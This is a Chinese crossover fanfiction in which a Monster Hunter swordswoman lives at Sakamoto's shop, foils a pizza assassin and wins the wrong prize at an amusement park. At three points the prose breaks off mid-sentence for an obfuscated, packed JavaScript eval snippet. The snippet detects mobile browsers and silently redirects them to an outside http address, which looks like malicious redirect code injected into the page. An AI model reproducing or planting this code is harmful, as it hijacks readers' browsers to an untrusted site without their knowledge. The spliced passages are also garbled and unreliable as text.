《恋爱要在纳刀后[坂本日常]》 1. 我的太刀还没出场 1. 你好,我是一名武功超强双商点满的太刀侠,现在正借宿于老板家的后院,对目前这毫无波澜的生活感到十分不满。 为什么? 或许你曾听说过我的名号,“炎火村的烈焰”,烈焰岂能就这样安安稳稳地在老板家店里吸溜泡面! 2. “老板,你那个冬阴功汤味好吃吗?” 我动作优雅地用塑料叉子卷起浸泡着血红色液体的面条,随即抬起头仰面将一叉泡面甩进张大的嘴里。 老板是一名不爱说话的肥胖男子,他只是伸出大拇指表示首肯。 我看得出他在用眼神问我:「倒是你,怎么不动了。」 自从一分钟前豪迈吞下一口红色泡面后,我就保持着仰头的姿势没有变过。 “不要低头,眼泪会掉。” 我恨不得把刚刚那口给吐出来:“老板,答应我,以后进货绝对不要进这个朗姆酒味泡面……” 我的老板坂本太郎是一名泡面迷,据目测,体重约重达一百公斤,即便他的妻子葵姐姐天天严肃勒令他:“阿娜达!减肥!你不是说要减肥的吗!”他还是每天偷偷早起,只为瞒着葵姐爽吸两桶泡面。 这两天,趁着新进一批泡面的机会,他更是假借着验货的名义大快朵颐。 我不语,只是一味地蹭吃蹭喝。 3. 他怕我告状。 4. 我是不是还没有自我介绍? 好吧,一开始那个不算。 我的名字叫百龙夜子,号烈焰,炎火村人氏,埃尔迦德著名英雄,自幼接受倪泰教官的严酷训练,一生辛劳勤恳狩猎,征战沙场猎龙无数,但是从来赚不到两个破钱。 我从来没有去过不打折时候的杂货铺。 碍于“英雄”之名,我不好提加薪这事儿。 只能做着一名充满荣誉感的社畜。 5. 总之发生了各种事之后,我突然降临到这座城市,如今,已经是我在憩来坂生活的第三个年头了。 低收入的现状依旧没有改变。 但换个角度想,不用天天拼死拼活打猎买药做刀,至少开销也降低了是不是? ——如果我没有培养出什么新爱好的话。 “老板,我突然想起来还有点事,出门一趟马上回来。”我解下身上的绿色围裙,嘀嘀咕咕说着,“新来的那俩家伙怎么还不起床上班?” 其实我也不是真关心店里人手问题,只是为了从柜台顺一包□□糖所制造的障眼法罢了。 葡萄味,好吃。 6. 来这里三年,淳朴的农村猎人终于染上了甜食的不良嗜好。以前在村里沉迷抢购艾草的新品兔团子,现在注定成为蹲点排队的甜品の奴仆。 大城市,套路深。 不过住在商店街就是好,一有点新产品的风吹草动就能立刻知道。 昨天面包店的理纱姐姐来店里购物时,提醒我今天早上八点咖啡厅会开售一款叫做“红豆·兔之笑颜”的新款甜品,这么怪的名字,我怎么都得翘班去尝尝吧! 7. 排队。 这家咖啡厅刚开门不久,算算好像是店里来了新人那两天开业的。 我还记得那天为了庆祝朝仓那小子加入坂本商店大家庭,我特地带他来到这家店,吃了一个加量版草莓华夫饼酸奶芭菲来着。 他请的。 我当时非常疑惑,这不是他们国家的习俗吗,他为什么要一脸震惊不可思议地盯着我吃芭菲? 可能这小子没有正儿八经上过班的经验,对前后辈关系理解稍许不到位,可以理解。 了然于心后,我按捺下慈爱的眼神,十分大方地把芭菲最顶上一颗草莓摘了下来,再裹上一层奶油,伸手将它塞进朝仓信因困惑而持续微张的嘴巴里。 并顺手帮他合上了可能有些闭合障碍的嘴。 “吃完这个草莓,你就是我认可的同事了。” 他细细品尝、吞咽下果肉,伸出舌头舔干净唇周奶油,我坐在对面感觉吃起来更加幸福了。毕竟,相比之下,我的幸福有一整杯加量芭菲那么大。 至少顶十个草莓吧。 8. 所以得到前辈的认可有这么高兴吗?看他脸都热红了。 我不太清楚,毕竟我可没有前辈,只有老板。 所幸第二天他们又从外面找来一个新店员,我就想着用同样的方法在她身上试了一下。 不过这位新同事陆少糖家里似乎是暴发户的样子,白天还喝了酒,把她领到咖啡厅的时候她乐得直接给我上了一份菜单,我想那必定是高兴极了的。 9. 要是店里天天能来新同事就好了。 我舔舔嘴唇。 10. 很快队伍就排到我了。 店长是一名扎着低马尾的温婉女子,店里总是只有她一个人在干活,可能其他店员都待在后厨吧。 她真应该雇一个像我一样勤奋踏实的店员啊。 不对,我不是店员,是猎人啊。 “请给我来一份新品红豆·兔之笑颜,还有一个酸酸甜甜蔓越莓蛋挞要打包!” 我在座位上等了一会儿,很快店长就把东西端来了。 红豆·兔之笑颜,其实就是一串三个式的糯米团子,形状饱满,色泽温润,气味清香,其上两个镶嵌着点点红豆颗粒,第三个团子上用巧克力淋上了笑脸的形状,闻上去里面大概是包裹着豆沙馅料。 好香啊……还是热乎的……还有这微黏的口感刚好适合一口扯下三个,有种熟悉的家乡的感觉…… 11. 喂、这不就是艾草的兔团子吗! 12. “不是哟,这款甜品的名字就叫‘红豆·兔之笑颜’哦~” 店长小姐嘴角噙着笑意。 唉,还真不是兔团子啊。 还以为遇到老乡了。残念。 13. 在回去的路上,我遇到了一名迷路的披萨外卖员,嘴里还念叨着什么“杀手”“悬赏”之类的语句。 是要送到什么电影院吗?但最近似乎没听说有这类题材的电影上映啊。 看电影也要早八的人,你做什么都会成功的。 原本我绝对会帮助他给他指路的,但看一眼时间已经八点十分,距离小花、就是老板的女儿的上学时间已经不远了。 袋子里的蔓越莓蛋挞还冒着热气烘在我手上,再不回去就来不及带给她当幼儿园的零食了。 果咩纳塞外卖小哥,我也要去送外卖了。 14. 回到商店的时候,小花也正准备出门。 她远远就看见我了,背着书包兴高采烈地朝我挥着手。 今天的小花,也是一万分的可爱呢! 我连忙使出翔虫技一路滑行到她身边,正巧老板从屋后推着自行车出来,我一边把小花抱上后座一边问她:“给你买了新鲜的蔓越莓蛋挞,小花想带去学校还是回家了再吃?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063102|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她眼睛一亮,让我帮忙把蛋挞放进书包,还甜甜地和我道了个谢。 “那你们赶紧出发吧!” 通常都是葵姐送小花上学,而老板与自行车同时出现时往往都已经时间紧迫了。 15. 忘了一件事。 我跳出柜台冲到门外,对着他们父女俩远去的背影大喊: “老板别飙车啊!小花的蛋挞要被你颠坏了!!!” 16. 葵姐出门买菜去了,她离开前嘱咐我好好看店,要是觉得忙可以上楼摇个人下来干活。 我虽然答应了,但还是觉得很有问题:老板应该尽早做一张排班表出来。 一个人看店是一件特别无聊的事情。 尤其是这个时间点,该上班的都上班了,该上学的都上学了,去买菜的主妇们都在市场了。 分针又往前弹了一格。 肉铺的奶奶买了一瓶酱油和一罐洗涤剂。 有个无业游民在店门口转了一圈,往里张望两下没进来。 那个迷路的外卖员要是能路过就好了,我可以给他指个路诶。 17. 我冲上楼叫朝仓信起床。 “起床了朝仓!起床!上班了!” 我配合着说话节奏敲门,偶然间发现这还挺有意思的,于是使用了各种各样的语气进行叫早。 “别睡了朝仓!我知道你醒着,你有本事熬夜怎么没本事早起哪,开门!……” “竹板这么一打呀,别的是咱不夸,我夸一夸,小花已经上学去,带着一个大蛋挞……” “嘿!哟!你不是平常七点半就起床?哟哟!一看到店长出门你就又睡回被窝,耶,好一个偷天换日斗转星移!” 没念几句,他房间的门就隙开一条缝,朝仓信身上还挂着一件岌岌可危的老头背心,他撑在门边上用一种快要呕出来的语气吐出几个字: “你这是在叫早还是叫魂?” 我看不顺眼,把他背心上那条已经垂到臂弯的肩带扶上原位,随即正色道:“你早,那现在你的灵魂醒了吗?” 醒了就一起上班。 “给我五分钟。”他扭头关上了门,房间里传来乒乒乓乓的声音。 走回去路过客厅,陆少糖一头粉发散落在地上,她哼哼唧唧两声,可能是被我吵醒了。 我:“你继续睡吧,店里还不缺人手。” 朝仓信这时从房间走了出来,正巧听见这句话:“哈?那我算什么?” “大概是刚好缺的那个人?” 18. 到一楼商店里的时候,老板已经坐在柜台后看报纸了,朝仓这个莫名其妙的坂本吹又在开始眼睛发亮胡言乱语了。 “不愧是坂本大哥,就连看报纸都是那么酷!” 我:“Cool!Cooler!Coolest!” 朝仓信莫名其妙地瞥了我一眼。 骑自行车这么快,确实很酷嘛。 19. 我抓住朝仓信围裙后面的系带摇了两下:“我想喝水,给我倒点去。” 他把系带解开重新系紧,皱着眉头对我退避三舍:“为什么又叫我!?” “因为你是后辈啊。”这个问题有何难。 他手里拿着我的杯子,一边上楼一边回头咂嘴问道:“我有的时候真的很怀疑你究竟是怎么培养出这种前后辈观念的。” “晨间剧啊。” 怎么了?他怎么有种把呕吐物吃下去了的感觉? 2. 太刀一出鞘,商店里所有人都炸了 1. 坂本太郎还在看报纸,不过他向来不太爱管我们这些店员们的事。 我把凳子往他那边挪了挪,用余光偷偷瞥着他的脸色。 老板会不会追究我放着商店不管,跑去楼上叫朝仓信起床的事? 很心虚。 不过既然他不问,我也不说。 “咳咳。”我装模作样整理起柜台,“老板,我看别的商店都有制服啊,你看我们店里人也多起来了,要不……?” 老板放下报纸,抬头看了我一眼。 “但是以你目前的体型而言,可能制服有点微妙……要不我们去定做文化衫T恤吧!” 老板不动声色地扬起嘴角偷笑,很快又恢复平静:“这个想法很好啊,我支持。” 啊,老板已经三年没这样笑过了。 2. 朝仓信把水送来了。 我奖励他去清点一下泡面库存。 看到他我突然想起来:“老板,你觉得我这么处理工作上的前后辈关系有问题吗?” 咨询一下工作烦恼。 老板望天,好像想到了什么。 “没问题,完全没问题,你看你们现在不是相当团结友爱吗?” 我就说嘛。 朝仓信真该来听听。 老板接着说:“比如说,后辈要负责开车,教新的后辈开车,自己帮助前辈把没干完的事儿做完。” 我大喊:“朝仓,坂本课堂开课啦!快来听听!” 朝仓信从远处的货架后探出脑袋: “讲慢点讲慢点!我还有最后一箱没数完!” 然后他冲了过来。 3. 陆少糖也下楼了,她说自己饿了想吃包子。 可是肉包是她负责做的啊。 4. 总之现在就是我们几个人围坐在老板身边,等待他开始一场史无前例的早训。 《侍坐》。 “等一下,坂本大哥不说话那你们怎么听见?”朝仓信提出质疑,“我是可以直接读心但……” “什么读心?”我怎么从来没听说过? “坂本大哥没跟你介绍过吗?” “没啊。” 「可能他觉得你这能力也没啥好跟我说的。」 “喂,你在想什么我都听得见啊!” 陆少糖侧头对着我耳朵低语:“我就说这家伙的能力很恶心,你也这么觉得吧。” 我上下打量他一番:“还行吧,对我没什么影响?” 朝仓信无力辩驳:“因为摊牌了所以干脆在我面前直接开喷了吗……” 5. “还听不听老板发言了?”我作为前辈及时制止了这场对话,点头向老板示意,“老板你说你说。” 6. 烈焰、仓信、少糖侍坐。 老板正色说:“今天让我们来谈谈同事关系。” “不要因为我年纪和体型比你们大一点,你们就不敢说话了。你们平时这样吵吵闹闹,但假如有一天你们真有了理想的同事关系,那会是怎么样的呢?” 少糖不假思索地说:“那当然是我指哪儿他们打哪儿,天天躺着就能赚钱啊——话说我真没见过店长一下子说这么多话。” 老板不语。 朝仓信撑着下巴认真思索,最后给出了他的答案: “我能天天和坂本大哥一起工作就很幸福了!……不过大哥真的有点怪诶。” 老板将目光转向我:“夜子,你又觉得怎样呢?” 我十分得意,因为早已知道了正确答案:“那当然是让后辈开车,后辈教新的后辈开车,还要让后辈帮我扫尾啦!” 老板喟然叹曰:“我赞成夜子啊!” 7. 好像认错人了。 我的真老板把自行车停在大门前,走进门时风吹进来一股热狗味。 我再次嗅了嗅气味确认: “这才是我老板啊!” 真·坂本太郎缓缓扭头,镜片底下看不清神色。 我向他比了个OK的手势,我知道的,他一向是个善于进行市场调研的人,绝对不是路遇小摊拼尽全力无法战胜。 然后他就放下心来,坐到假老板面前,气定神闲夺过那人手里报纸看了起来。 假老板也丝毫没有遇到正主时的慌张,还向我们介绍道: “这是我的分身~” 朝仓信和陆少糖两人站在一边窃窃私语,对现在的情况摸不着头脑。 我给他们脑门上一人一个板栗: “这还不显然吗?有人想篡位当店长啊!” 8. 话没说完真假坂本就打了起来。 不过说是打架,却更像是某种bro之间打招呼的神秘暗号。 因为他们只用上半身,乃至于只是两双手在空中比划。 但是动刀子就不好了。 怎么还有枪啊! 9. 我:“保护好我方收银机还有我放桌上的马克杯!——” 10. 诶?这就打完了? 眨眼间假老板还变了个身,黑发大眼水灵灵的,看起来就降了一个辈分。 此人真是谎话连篇,竟然谎称自己是对面超市的店员。 笑话!我把附近的竞争对手超市全都调查了个遍,哪有这号人物? 11. 在他们互道短长的时候,店里来了一名客人,看他们都没关心到这边,只有尽职尽责的我快速跑到门边招待。 “欢迎光临!” 其实是因为店里自动感应机器坏了,只能人工代替这个环节。 12. 原来不是客人,是披萨外卖员。 “坂本先生订的披萨已送达,签收一下。” 老板有些疑惑地接过,放在桌面上。不过他现在可能更关注黑发男提到的十亿悬赏? ps.黑发篡位男名叫南云,他说自己是一名杀手。这个设定怎么这么耳熟? 我想起了什么,转头望向这个披萨外卖小哥。 小哥正从怀里掏出一把刀。 13. 冲过来扑到我身上想干啥? 他可能是行凶中被我发现,于是应激性地将我视作目标。 我脖子上被架了一把刀,感觉好冰啊,搞得我直哆嗦。 “叫你们唠嗑呢,坂本太郎,哈哈哈想救这个小姑娘的话就拿命来!” “别小看了我披萨杀手!” 男人狂笑着说。 唉,名字好俗。 叫作披萨外卖员的话还能因为体现劳动人民的勤劳品质加加分。 我的两个好后辈自从南云和老板打起来开始就站在那不知道干什么,我只寄期望于老板现在静止的姿态是在思索怎么解救我。 但是求人不如求己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063103|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 14. 披萨杀手不知道这个门边的位置上放着我的太刀。 15. 我的右手悄无声息覆盖上刀柄,霎时自信与荣光在我体内涌动。 调整一下身体重心,我按住刀身借助地面发力,向后狠狠给了他一个头槌。随之左臂弯曲,重重击向他腰腹部,并借力转身蹬地,右手顺势拔刀,刀尖似往日那般在空中划出优美的弧线。 现在是我站在对面把刀架在他的脖子上,“我说你啊……” “竟然拿那么小一把刀就想和我打架,你是太寒碜还是看不起我?” 16. “你快回来吧,拿把伞和人干架你也没好到哪儿去!”朝仓信作出备战姿势向我招呼。 这时迟那时快,我对他大声警告道: “危险!!——” 我指的是朝仓信。 17. 竟敢说我心爱的太刀是把伞,你完了小后辈。 但我也有轻重之分,此时不应该先把情感放在私人恩怨上。 当务之急当然是为我的太刀正名。 我用刀背在披萨杀手身上几个关节处轻轻一敲,那人便就这样斜斜倒了下去。我不再管他,只是用我的太刀镇压在他胸口: “谁再说这是伞呢?睁开眼睛看看这明明是我的太刀!” “而且她有名字,她叫晓月刺刀骁勇·改!是取自伞鸟的一把火属性武器!” 这是我最喜欢、觉得最好看的一把刀。 18. 好吧,纳刀。 19. 把披萨杀手送走后,我和南云又重新认识了一下。 别误会,不是那个“送走”。 我问:“你的变脸术挺厉害的,在哪个师傅那儿学的?” 他眯着眼:“在中国四川的一个小县城,别的是机密无可奉告~” “那还挺正宗的呀!” 朝仓信嘴里叼着一块披萨,说话也黏黏糊糊的:“喂你别被他耍了,这明明是易容啊!” 我立刻严肃道:“那你传授的工作经验没骗人吧?” 他也瞪大眼睛:“这个倒是1000%真的。” “那就好。”我也放下心来,“只是听反诈警察说所有爱开课的都是诈骗,有点担心。” 20. 南云离开了,走的时候顺了一包百奇没付钱。 但是那个时候没人跟他说“欢迎下次光临”,他会不会就不来还钱了? 我将这个担心诉诸老板,老板说不用担心,你不是约好和他还有他同事下次见面探讨工作经验吗,到时候你拿着这个小票让他还钱好了。 真的假的,这种约定一般不是客套吗? 老板拿起报纸继续看起没看完的内容,他说南云那人大概是起了劲,表情可不像是开玩笑。 那他还挺真诚的。 21. 当然以上对话皆由朝仓信代为传达。 22. 半夜躺在铺盖上,我突然察觉一件事: 忘记找朝仓信算账了,关于他对我的太刀出言不逊这回事。 ……那就算了吧,等到明天肯定又还是不记得。 帐篷里摇曳着温暖的灯光,我缩在被子里慢慢睡着了,这被子是前不久葵姐和我一起晒过的,有太阳的气息,是和炎火村的家不一样的安心。 明天也要好好上班啊。 3. 赢台空调=易如反掌 1. 我做了一个噩梦,惊醒的时候发现时针已经指向八点。 噩梦实在把我害得很惨。 “老板,要不今天我就留下来看店吧……” “老板,一定要全员出发游乐园吗?” “老板……” 坂本太郎用一种奇怪的眼神看着我,我知道这确实挺扫兴的,但那个噩梦太真实了。 “啊?什么梦让你怕成这样啊?”朝仓信嘴里啃着一条能量棒……欸他怎么又换了一双AJ,“难不成你其实害怕坐过山车?” 怎么可能恐高,想当年我在家乡的时候天天在悬崖间跳来跳去呢。 思来想去还是开了口: “我梦见我们商店破产倒闭了,到处流浪,最后我只能忍痛把我的太刀变卖了换取一些微薄的生存费……” 2. 老板说不用担心,这种事应该不会发生的,现在还是先应付一下通缉令的问题。 他们几个人趁葵姐和小花还在楼上收拾东西,速速召开了一个作战会议。 会议要点十分清晰,那就是保护好坂本葵与坂本花,且不能让她们察觉到杀手的存在。 听完后我举手发言:“所以是什么悬赏?还有你们一直在说杀手什么的,我怎么听不明白?” 3. 在我来到憩来坂,并和坂本一家生活在一起的三年里,每一天都格外和平。 没有任务看板,没有紧急任务,没有突如其来的百龙夜行,连只青熊兽都没有,有的只是百货商场大抢购。 那个时候我才明白,这才是真正的战斗! 所以杀手什么的,对我而言仅仅是一种电影题材和惊心动魄的代名词。 怎料(前)杀手竟在我身边! 我还以为憩来坂是老天爷放我退休后养老的度假胜地呢,没想到只是让我提前熟悉了三年任务环境。 但是杀手和我怪物猎人有什么关系?难道说是幕后凶手养了一群龙要我打? 还是说,这依旧只是前置任务? 4. 看我一头雾水的样子,他们几个人本来还非常诧异,似乎想指责我掉链子,但是互相交换眼神略一思考过后,发现还真的无可指责。 可能终于意识到老板领他们回来的时候,我都在外出采购和留守看店了吧。 就好比jump漫画里,总不能所有人都过着精彩纷呈的冒险生活,在看不见的后台必须有人默默扛起生活费啊! 否则在葵姐累出问题和商店倒闭里,他们必须选一个。 噫、商店倒闭……我不由得冒出一身冷汗。 5. 葵姐和小花下楼了,作战会议也就此停止。 不过好歹我半信半疑地接受了朝仓信交代的故事背景。 虽然依旧没有弹出任务看板,但我出门的时候没忘了背上太刀。 由于外形的缘故,太刀也不是很显眼……应该吧。 6. 今天是个不错的休息日,阳光很充足但说不上炎热,放眼望去,小糖果乐园里几乎都是三三两两的情侣和带着孩子的疲惫成年人。 我们这六个人出门的,倒有点格格不入,有点像公司团建。 名义上是出来游玩放松,实际上是围绕着老板坂本太郎进行的一场强目的性活动。 嗯…怎么不算公司团建呢? 同事A朝仓信入园以来就没放下过扶着耳麦的手,用读心术时刻警惕着周围的风吹草动,同事B陆少糖则以她出色的观察力留意周围的可疑人员。 我是觉得他们两个都超级可疑的。 “放轻松,自然点啊!” 我从身后揽上二人肩膀,发现他们的身体肌肉实在是过于僵硬,“既然这么崇拜老板,那不如相信他的实力,保护好葵和小花怎么样?” “再不济,也要相信前辈的实力!” 我:winkwink。 7. 小花想要看的乐园小糖果惊喜演出还有一段时间才开演。 葵姐蹲下来摸摸小花的头安慰她说:“等一等哦,我们去看看别的地方,两个小时很快就过去了。” 我看小花有些失落,忙不迭为她指出一个平替: “小糖果演出吗?你可以先让你爸爸给你表演一个。” 坂本太郎默默走远了两步。 陆少糖也搭上我的肩膀跟我说悄悄话:“原来你也觉得店长和那只胖兔子吉祥物很像啊!” 我朝她比了个大拇指:“原来我们的品味都一样好。” 其实只是开个玩笑,毕竟小花也说了只想看真正的小糖果,不要看她爸爸表演的假小糖果。 8. 老板你怎么又莫名其妙失落起来了。 9. 两个小时该怎样度过? 一路走走停停,玩是没玩到什么,零食倒是买了又买。 陆少糖左手一杯奶茶,右手一盒章鱼烧,手上没有余裕只好让我拿根竹签戳了一颗塞她嘴里。见朝仓信欲言又止止言又欲,我一下顿悟:“别客气,老板请客的。”随即也飞速戳了一颗给他。 感觉投喂朝仓信是一件特别有意思的事情。 我发现不管是上次给他喂草莓,还是这次的章鱼烧,他被迫接受投喂、牙齿触碰到食物的那一瞬间会潜意识地闭上眼睛,然后像受惊的猫一样后撤一步,随即歪头捂上嘴,最后假装无事发生。 他舔干净沾在嘴边的美乃滋和木鱼花,但是显然无法恢复成十秒前一本正经的模样,只是红着脸断断续续说道: “虽然坂本大哥是、是很强没错,但、护卫他们三个人玩得开心才是我们的首要任务吧!” 我:“可是我们自己也是买了门票的呀。” 经过这么几天的相处,我已经充分了解到朝仓信这么好好一个二十出头的小伙子,平时幼稚得要死,在某些事情上却固执得像个死板小老头。 我和陆少糖对视一眼,双双在对方目光中看到“没救了”三个大字。 这个时候就得以理服人。 10. 你是不是以为我又要整活了? 不,这次是真来讲道理。 我也往嘴里送了一粒章鱼烧,指了指前方欢声笑语的坂本一家:“你不觉得按照葵姐的个性,我们玩得开心她才会更开心吗?” “而且,人这么多的地方,什么杀手啦都绝对不会闹出大动静的吧!如果是这种悄悄暗杀的话,以我猜测中老板的身手,恐怕也用不着我们帮忙。” “所以,不要再一副‘拼了命也要守护好游乐场之旅’的表情好不好!”我轻轻在他脸上拍了两下,“松弛点松弛点~” 我看不出他听进去没有。 11. 在长椅上休息片刻后,我对照着导游手册,发现旁边一片设施非常适合我去游玩。 《欢乐地狱大闯关》。 似乎有节目组借了这里的场地拍摄,我向那边望过去,人来人往还挺热闹。 “各位暂且先在此地不要走动,待我去那边给大家伙儿赢台空调回来。” 朝仓信握拳:“不是你这也太松弛了吧喂!——” 还是葵姐比较懂我:“哎呀年轻人喜欢运动就去好好玩吧;诶你们两个不一起去吗?” 他俩还是算了。 12. 宣传手册上画的关卡设置十分简单,想必所谓地狱闯关,主打的就是一个欢乐吧。 不然为什么要叫“欢乐地狱大闯关”。 图册上都是些什么大摆锤啦,摇晃桥啦,巨大障碍物啦,通通都是小菜一碟,感觉难度不及我在家乡训练体术的万分之一。 感谢倪泰教官。 感谢他为这一台空调作出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063104|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的巨大贡献。 “你好,我的名字是百龙夜子,来报名参加地狱大闯关。” “诶什么!?还要500日元报名费?”我把身边的硬币一枚一枚从各个口袋里掏了出来清点起来。 这些全都是今天帮老板跑腿买东西的找零,本来还想私吞了来着的。 一、二、三、四、五。 正好够。 我把参赛号码牌贴在腰侧,站在后台准备室偷偷观察前面的赛道: 首先是一段速……首先很难不第一个注意到这里的场景布置和背景音乐,导演你不觉得这种看起来像是女巫魔药一样恶心的熔岩地狱设计和宛如失心疯一般的笑声纯享bgm,和小糖果乐园的整体风格都不搭吗? 节目组可能是在地面上铺设了一层涌动的史莱姆,底下打着像是吃了十斤菌子调出来的灯光,如果这就是地狱,恐怕撒旦都不敢回家。 13. 那么我就是比撒旦还强大的女人。 14. 工作人员说禁止携带装备上场,还意有所指地挑眉看向我身后。 我立刻转身看过去,那里有什么吗?不就是一片空地? 哦,原来是在说我背着的太刀。 “不可以啊!晓月是我的好搭档不可以和我分开的啊!”我死死抓住身后那柄冰冷金属触感的太刀哭号着,虽然也没人要抢她。 “哦,这样。”工作人员看起来倒也挺好说话,“那你再交一下你搭档的人头费吧,也是500日元呢亲。” “……” “抱歉晓月酱,你就待在此地不要走动。”我长叹一口气将其安置在角落。 穷是原罪。 15. It''s my go! 我眺望着这段似乎看不见尽头的赛道,心中大致制定了一下战术: 冲就完了! 出发前给自己灌了一瓶加强版鬼人药,又磕了两颗怪力种子,我必胜的底气就像摇匀了的可口可乐一样瞬间冲到喉咙口。 那个时候朝仓信得知此药功效后,又一次显现出惯常的吐槽属性:“你这不是丝毫没有体育精神嘛!” 我:“你就这么不想要空调吗?” 朝仓信撇了撇嘴:“……想要。”于是就默不作声了。 16. 我已经很久没有这样放肆自由地在天上荡来荡去了,今天这样舒展了一下身体,竟然有种放归山林的喜悦从脚底直窜上天灵盖。 说实话,除了中间那只巨大无比会一巴掌把人拍飞的黑化小糖果,所有环节考验的都只不过是肌肉力量和瞬间爆发力。 你要知道我从前应对的都是何种重量级的对手。动不动几千千克的那种。 如果输了岂不是白白浪费我这一身调整到数值88%的肌肉!多吉利! 诶等一下,什么……数值?这是什么东西? 我突然想不起来了。不过这也不重要,重要的是我现在站在领奖台上,面前几架摄像机直挺挺地对着我的脸。 一旁的主持人情绪高涨挥舞着手臂,朝镜头作出浮夸至极的表情:“电视机前的观众们,让我们恭喜本赛季第一位挑战成功者——百龙夜子小姐!她获得的奖项是,绝对碾压的奖项……” 头奖大空调!头奖大空调!不要再卖关子了!我看过你的宣传册了! 主持人俯身从一旁拿出一块eva大板子,缓缓向镜头揭开,我也用期待的目光低头看去: “特等奖!甜甜蜜蜜水之女神7日伊豆三人行!” “百龙小姐,你的速度超越常人,破了本节目有史以来的最高纪录,恭喜你,你简直是天之骄女!对此,你有什么感言要说吗?” 怎么?我该笑吗? 17. “还我大空调!还我大空调啊!!” 场上传来一阵撕心裂肺的怒吼。 4. 游乐园还是得设置大叔勿进啊 1. “怎么这副表情?没成功吗?” 陆少糖被差遣过来通知我另外几人已经准备出发去过山车那里排队,她见我哭丧着一张脸,便隔着围栏握住我的手问道。 我反手从身后掏出那块“特等奖:甜甜蜜蜜水之女神7日伊豆三人行”,重重一声竖在地面上:“成功了一半……” 陆少糖歪过身子一个字一个字看过去:“甜甜蜜……哇这不是赚大发了吗!” 我:“可我是去赢空调的啊……” “……至少没亏什么进去?总之我在出口那里等你去和他们汇合!” “亏了整整500日元参赛费!” 2. ——等等,还赔了把刀。 我刀呢!?我放在后台角落里的刀呢? 回去取太刀的时候,本该静静在昏暗角落里等待主人凯旋归来的晓月却不见踪影,问过工作人员也说没有印象。 哪个毛头小贼偷走了我的刀? 算他有点品味。 但是身上空落落的,加上心头记挂着老板那边的护卫任务,我缓缓动身前往出口处,周身人潮喧闹相互推搡,密密麻麻的焦虑如同理不清的线头缠在我身上,我顿时无名火起,不知道往哪里发泄,只是一味地咬牙切齿。 上次这么烦躁还是在废神社搬运丸鸟的蛋,好不容易一路蹦跶到一半,结果一只梅拉露直接把我蛋抢走了。* 3. 大概是看我面相实在凶恶,陆少糖一路频频偷瞄着我脸色不敢说话,我也不敢说些什么让她放心,因为此时我可能笑起来比哭还难看。 在过山车附近和其他人碰了面,少糖就跑过去低声和他们诉说了我搞到的乌龙特等奖,不等朝仓信爽朗地笑出来我就接过话: “不仅如此,我的太刀也丢了,可能是被……”我朝老板、信、少糖几人使了个眼色,“被那群人偷走了。” 朝仓信脸色发青,立刻警惕起来岔开话题:“啊、有、有没有可能有好心人送到失物招领所了?……你们要不先去排队,我、我陪她去看看……” 老板点头,悄悄比了个大拇指赞同。 我和朝仓对视一眼,正欲转身时,小花喊住了我们,从便当里拿出一枚兔子苹果放进我的掌心: “夜子夜子,不要担心,吃了这个苹果就会变得幸运哦!” 4. 其实用不着吃,我看到小花的时候,就已经变得无敌幸运了。 “好耶!谢谢小花,那你也玩得开心!”我摸了摸她的头。 5. “你这变脸变得也太快了吧……”朝仓信走在我身旁,不经意又完成一次吐槽。 面对小花我是正能量の亚撒西姐姐,转身我是燃起塔塔开之魂的乐园义警。 我:“这就是我的复仇。” 感觉身上沾上了怨虎龙的鬼火,大概随时要爆,我深呼一口气压制怒意:“如果真是冲着悬赏来的那群人,把我武器给偷走了,那么你觉得他们的目的是什么?” “排除一个显眼的威胁?”朝仓信回答道,随即眼睛一亮,“然后就可以对坂本大哥发起攻击了!” “不止如此,这样还从护卫队成员中调走了我们两个。” “那我们只能先不去失物招领所了!” 这下反倒是我吓了一跳:“诶?你原来是真想过去失物招领啊?” …… 于是我们只是在过山车近旁巡视着,利用这一点反过来寻找靠近过山车的可疑人员。 “戴上这个吧。”朝仓信递给我一个恶搞眼镜胡子,一边给自己戴上了一副晕晕眼墨镜,“稍微伪装一下。” 估计是几分钟前他跑去哪家小店买的。 “好蠢啊。”我笑着调整眼镜镜框,“你觉得这玩意儿有用吗?” 他平常这么在意形象的一个人,这会儿倒不觉得有什么了,只是抱臂倚在我对面的墙角:“总比呆呆地站在这里好些。” 从道理上说,我们两个还是分开搜索比较高效,但是我不清楚朝仓的水平,害怕放他一个人会受伤…… “你不要小看我啊,我好歹也是拿到杀手证书的。”他的声音突然闷闷地响起,我这才反应过来他读了心。 愣了愣,我说:“不要把力气花在读我的心这种没意义的地方啊。” 我走过去揉了揉他的头,顺手从口袋里掏出一样道具塞给他:“既然如此,那这个就交给你了。” 